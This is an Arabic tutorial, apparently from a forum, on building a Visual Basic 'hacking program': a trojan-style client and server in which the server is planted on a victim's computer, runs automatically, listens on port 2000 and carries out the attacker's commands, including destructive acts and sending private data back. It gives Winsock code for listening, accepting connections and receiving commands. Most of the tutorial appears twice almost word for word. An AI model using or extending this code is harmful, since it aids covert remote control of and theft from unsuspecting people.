+++=(كيف تصمم برنامج هكرز بنفسك)=+++
..............سوف نتحدث إن شاء الله عن فكرة برمجة برامج الاختراق الشهيرة وكيف تتم برمجتها وتشغيلها ثم سوف نقوم بعمل برنامج بالفيجوال بيسك وذلك لتوضيح الموضوع واستيعابه بشكل أفضل....
حسناً . . لنبدأ الآن بشرح تفاصيل الموضوع وعلى بركة الله:
تتكون هذه البرامج كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم
1-
كيفية الاتصال بين الملفين عبر الانترنت
يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip
حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية
بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت
أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً
وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل
عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت
في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل
هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع
2-خطوات عمل برنامج بالفيجوال بيسك للتجسس .
برنامج العميل
كما ذكرنا بخصوص العميل فهو الذي يتحكم بالعملية كلها وهو الذي يرسل الأوامر للبرنامج الخادم وسوف نقوم الآن بشرح خطوات تنفيذ برنامج عميل
الخطوة الأولى : معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم وإجراء الاتصال
الخطوة الثانية : ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين
الخطوة الثالثة : يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة .
برنامج الخادم
يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه وإذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين ويبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل.
سنقوم الآن بتصميم برنامج صغير لتوضيح فكرة إرسال الأوامر إلى البرنامج الخادم واستقبال البرنامج الخادم لهذه الأوامر وتنفيذها
البرنامج كما ذكرنا سابقا يتكون من جزئين برنامج عميل وبرنامج خادم
.....................
تصميم البرنامج العميل
أولا . . يتم إدراج أداة MS WINSOCK للمشروع ويتم تغيير اسم الأداة إلى wskclient
ثانياً . . يتم إدراج TIMER
ثالثاً . . يتم وضع أزارير لعملية الاتصال وقطع الاتصال
رابعاً . . يتم ادراج 2 مربع نص لكتابة رقم الايبي ورقم المنفذ srvrip.Text srvrport.Text
خامساً . . يتم وضع أزارير للأوامر المراد إرسالها للبرنامج الخادم
كتابة شيفرة ( كود ) البرنامج العميل [Client]
يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع
1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.Text, srvrport.Text
2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD
3. مراقبة حالة الاتصال wskclient.State = 0
أهم القيم المستخدمة في مراقبة حالة الاتصال
0 " لا يوجد اتصال "
7 " تم الاتصال "
8 " قام الخادم بقطع الاتصال "
9 " خطأ في الاتصال "
تصميم البرنامج الخادم
أولاً . . إدراج أداة MS WINSOCK للمشروع
ثانياً . . كتابة الكود للبرنامج الخادم مع ملاحظة انه تم تعيين رقم المنفذ (2000) للبرنامج ويمكن تغييره في الكود لأي رقم آخر من 1 - 65535
ثالثاً . . تصميم البرنامج ليعمل تلقائياً بعد تشغيله
كتابة شيفرة ( كود ) البرنامج الخادم [Server]
يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع
1. تحديد منفذ الاتصال wskServer.LocalPort = 2000
2. إجراء عملية الاتصال wskServer.Listen
3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then
wskServer.Close
wskServer.Accept requestID
End Sub
عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل )
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim command As String
wskServer.GetData command
End Sub
......................
.......................
الحين نصممه خطوه بخطوه:
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
هذا البرنامج يمثل برنامج العميل
بستخدام تقنية tcp/ip
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
الحين انشئ زر واسمه اتصال
اوكتب هذا الكود
Private Sub Command1_Click()
wskclient.Close
'يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد
If srvrip.Text = "" Then
MsgBox "IP يجب كتابة رقم"
Exit Sub
End If
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
' يجب كتابة رقم منفذ
Exit Sub
End If
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
' يجب التأكد من رقم المنفذ الصحيح
Text2.Text = ""
Exit Sub
End If
wskclient.Connect srvrip.Text, srvrport.Text
'هذا السطر يمثل عملية الإتصال بالخادم
'(Port)ورقم المنفذIP يتم الإتصال بالخادم عن طريق تحديد رقم
'عند الضغط على زر "إتصال" يتم إجراء الإتصال
Command1.Enabled = False
'تعطيل زر "اتصال" عند اجراء الاتصال
End Sub
---------------------------------------------------------
---------------------------------------------------------
انشئ رز واسمه انهاء الاتصال
واكتب هذا الكود
Private Sub Command2_Click()
wskclient.Close
' "يتم إغلاق الإتصال عند الضغط على زر "انهاء الاتصال
Command1.Enabled = True
'تمكين الزر "اتصال" عند قطع الاتصال
End Sub
..............سوف نتحدث إن شاء الله عن فكرة برمجة برامج الاختراق الشهيرة وكيف تتم برمجتها وتشغيلها ثم سوف نقوم بعمل برنامج بالفيجوال بيسك وذلك لتوضيح الموضوع واستيعابه بشكل أفضل....
حسناً . . لنبدأ الآن بشرح تفاصيل الموضوع وعلى بركة الله:
تتكون هذه البرامج كما هو معروف من جزئين أو برنامجين يسمى الأول بملف العميل والآخر ملف الخادم
1-
كيفية الاتصال بين الملفين عبر الانترنت
يتم الاتصال بين الملفين العميل والخادم باستخدام بروتوكول tcp/ip
حيث يتم الاتصال بين الملفين العميل والخادم بمعرفة رقم الايبي ورقم المنفذ للبرنامج الخادم على جهاز الضحية
بالنسبة لرقم الايبي للخادم فهو رقم الايبي الخاص بجهاز الضحية عند دخوله على شبكة الانترنت
أما بالنسبة لرقم المنفذ فيتم تحديده برمجياً أثناء عمل البرنامج ولا يمكن تعديله إذا تم وضعه في جهاز الضحية وهو رقم يتراوح بين 1 إلى 65535 تقريباً
وإذا اضطر الأمر لتعديل رقم المنفذ فيجب زرع نسخة جديدة من ملف الخادم في جهاز الضحية مرة أخرى بعد التعديل
عندما يبدأ برنامج الخادم بالعمل عند تشغيله يقوم بعمل خط اتصال وينتظر أي طلب اتصال قادم من الانترنت
في هذه الحالة يقوم الشخص الذي يملك البرنامج العميل ويعرف رقم الايبي ورقم المنفذ الصحيح بالخادم بعمل اتصال مع الخادم ويكتمل الاتصال بين الجهازين بعد ذلك يبدأ برنامج العميل بإرسال الأوامر ويقوم الخادم باستقبال هذه الأوامر وتنفيذ المطلوب منه ثم يقوم بإرسال نتائج الأوامر مرة أخرى إلى العميل
هذه هي الفكرة ببساطة شديدة أرجو أن تكون واضحة للجميع
2-خطوات عمل برنامج بالفيجوال بيسك للتجسس .
برنامج العميل
كما ذكرنا بخصوص العميل فهو الذي يتحكم بالعملية كلها وهو الذي يرسل الأوامر للبرنامج الخادم وسوف نقوم الآن بشرح خطوات تنفيذ برنامج عميل
الخطوة الأولى : معرفة رقم الايبي ورقم المنفذ للبرنامج الخادم وإجراء الاتصال
الخطوة الثانية : ينتظر البرنامج السماح بالاتصال من البرنامج الخادم ثم يتم الاتصال بين الجهازين
الخطوة الثالثة : يقوم البرنامج بإرسال الأوامر للبرنامج الخادم والذي بدوره يقوم بالرد بالمعلومات المطلوبة .
برنامج الخادم
يقوم هذا البرنامج بعمل اتصال بالانترنت وينتظر أي طلب اتصال معه وإذا قام برنامج العميل بكتابة رقم الايبي ورقم المنفذ الصحيح فانه يتم الاتصال بين الطرفين ويبدأ البرنامج الخادم باستقبال الأوامر من البرنامج العميل المتصل به وينفذ ما هو مطلوب منه على جهاز الضحية مثل تنفيذ بعض الأعمال التخريبية أو قراءة معلومات خاصة وإرسالها للبرنامج العميل.
سنقوم الآن بتصميم برنامج صغير لتوضيح فكرة إرسال الأوامر إلى البرنامج الخادم واستقبال البرنامج الخادم لهذه الأوامر وتنفيذها
البرنامج كما ذكرنا سابقا يتكون من جزئين برنامج عميل وبرنامج خادم
.....................
تصميم البرنامج العميل
أولا . . يتم إدراج أداة MS WINSOCK للمشروع ويتم تغيير اسم الأداة إلى wskclient
ثانياً . . يتم إدراج TIMER
ثالثاً . . يتم وضع أزارير لعملية الاتصال وقطع الاتصال
رابعاً . . يتم ادراج 2 مربع نص لكتابة رقم الايبي ورقم المنفذ srvrip.Text srvrport.Text
خامساً . . يتم وضع أزارير للأوامر المراد إرسالها للبرنامج الخادم
كتابة شيفرة ( كود ) البرنامج العميل [Client]
يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع
1. إجراء عملية الاتصال مع الخادم wskclient.Connect srvrip.Text, srvrport.Text
2. عملية إرسال الأوامر إلى البرنامج الخادم "wskclient.SendData "openCD
3. مراقبة حالة الاتصال wskclient.State = 0
أهم القيم المستخدمة في مراقبة حالة الاتصال
0 " لا يوجد اتصال "
7 " تم الاتصال "
8 " قام الخادم بقطع الاتصال "
9 " خطأ في الاتصال "
تصميم البرنامج الخادم
أولاً . . إدراج أداة MS WINSOCK للمشروع
ثانياً . . كتابة الكود للبرنامج الخادم مع ملاحظة انه تم تعيين رقم المنفذ (2000) للبرنامج ويمكن تغييره في الكود لأي رقم آخر من 1 - 65535
ثالثاً . . تصميم البرنامج ليعمل تلقائياً بعد تشغيله
كتابة شيفرة ( كود ) البرنامج الخادم [Server]
يحتوي الكود على العديد من الإجراءات والأوامر ولكن سأذكر هنا الأسطر الأساسية والتي تمثل صلب عمل البرنامج فقط وذلك من أجل استيعاب الموضوع بشكل الأفضل أما تفاصيل الشيفرة الكاملة فيمكنكم قراءتها من البرنامج بعد تحميله من الوصلة المذكورة في نهاية الموضوع
1. تحديد منفذ الاتصال wskServer.LocalPort = 2000
2. إجراء عملية الاتصال wskServer.Listen
3. قبول طلب البرنامج العميل بالاتصال مع البرنامج الخادم
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long)
If wskServer.State <> sckClosed Then
wskServer.Close
wskServer.Accept requestID
End Sub
عملية استقبال الأوامر من البرنامج العميل ( يتم تعريف متغير يقوم باستقبال الأوامر من العميل )
Private Sub wskServer_DataArrival(ByVal bytesTotal As Long)
Dim command As String
wskServer.GetData command
End Sub
......................
.......................
الحين نصممه خطوه بخطوه:
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
هذا البرنامج يمثل برنامج العميل
بستخدام تقنية tcp/ip
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
الحين انشئ زر واسمه اتصال
اوكتب هذا الكود
Private Sub Command1_Click()
wskclient.Close
'يجب التأكد من أن الإتصال مغلق قبل عمل إتصال جديد
If srvrip.Text = "" Then
MsgBox "IP يجب كتابة رقم"
Exit Sub
End If
If srvrport.Text = "" Then
MsgBox "يجب كتابة رقم المنفذ"
' يجب كتابة رقم منفذ
Exit Sub
End If
If srvrport.Text > 65535 Then
MsgBox "رقم المنفذ بين 1 - 65535"
' يجب التأكد من رقم المنفذ الصحيح
Text2.Text = ""
Exit Sub
End If
wskclient.Connect srvrip.Text, srvrport.Text
'هذا السطر يمثل عملية الإتصال بالخادم
'(Port)ورقم المنفذIP يتم الإتصال بالخادم عن طريق تحديد رقم
'عند الضغط على زر "إتصال" يتم إجراء الإتصال
Command1.Enabled = False
'تعطيل زر "اتصال" عند اجراء الاتصال
End Sub
---------------------------------------------------------
---------------------------------------------------------
انشئ رز واسمه انهاء الاتصال
واكتب هذا الكود
Private Sub Command2_Click()
wskclient.Close
' "يتم إغلاق الإتصال عند الضغط على زر "انهاء الاتصال
Command1.Enabled = True
'تمكين الزر "اتصال" عند قطع الاتصال
End Sub